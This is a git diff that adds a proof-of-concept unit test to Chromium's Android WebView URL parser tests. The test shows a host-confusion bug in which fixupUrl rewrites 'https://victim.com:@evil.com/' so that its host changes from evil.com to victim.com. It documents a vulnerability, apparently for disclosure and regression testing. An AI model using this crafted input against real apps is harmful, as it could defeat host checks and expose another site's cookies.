diff --git a/android_webview/junit/src/org/chromium/android_webview/robolectric/WebAddressParserTest.java b/android_webview/junit/src/org/chromium/android_webview/robolectric/WebAddressParserTest.java index 07949c8d4e29f..cdc64e7ac7bb8 100644 --- a/android_webview/junit/src/org/chromium/android_webview/robolectric/WebAddressParserTest.java +++ b/android_webview/junit/src/org/chromium/android_webview/robolectric/WebAddressParserTest.java @@ -104,6 +104,33 @@ public class WebAddressParserTest { Assert.assertEquals("http:///", fixupUrl("")); } + @Test + @SmallTest + @Feature({"AndroidWebView", "Privacy"}) + public void testEmptyPasswordHostConfusion_Poc() throws Throwable { + // POC: AUTHORITY regex `(?:([^/?#:]+(?::[^/?#]+)?)@)?` cannot match the + // empty-password form `user:@host` because the password sub-pattern is + // `[^/?#]+` (one-or-more, and does not exclude '@'). HOST then captures + // 'victim.com', PORT swallows ':', PATH absorbs '@evil.com/' with a '/' + // prepended. Result: a URL whose spec-compliant host is 'evil.com' is + // rewritten to one whose host (per GURL / java.net.URL) is 'victim.com'. + String input = "https://victim.com:@evil.com/"; + String output = fixupUrl(input); + System.err.println("[POC] fixupUrl(\"" + input + "\") = \"" + output + "\""); + java.net.URL inUrl = new java.net.URL(input); + java.net.URL outUrl = new java.net.URL(output); + System.err.println("[POC] java.net.URL(input).getHost() = " + inUrl.getHost()); + System.err.println("[POC] java.net.URL(output).getHost() = " + outUrl.getHost()); + + // These assertions PASS, demonstrating the vulnerability. + Assert.assertEquals("https://victim.com/@evil.com/", output); + Assert.assertEquals("evil.com", inUrl.getHost()); + Assert.assertEquals("victim.com", outUrl.getHost()); + Assert.assertNotEquals( + "HOST CONFUSION: validator host == cookie-store host (bug not present?)", + inUrl.getHost(), outUrl.getHost()); + } + @Test @SmallTest @Feature({"AndroidWebView", "Privacy"})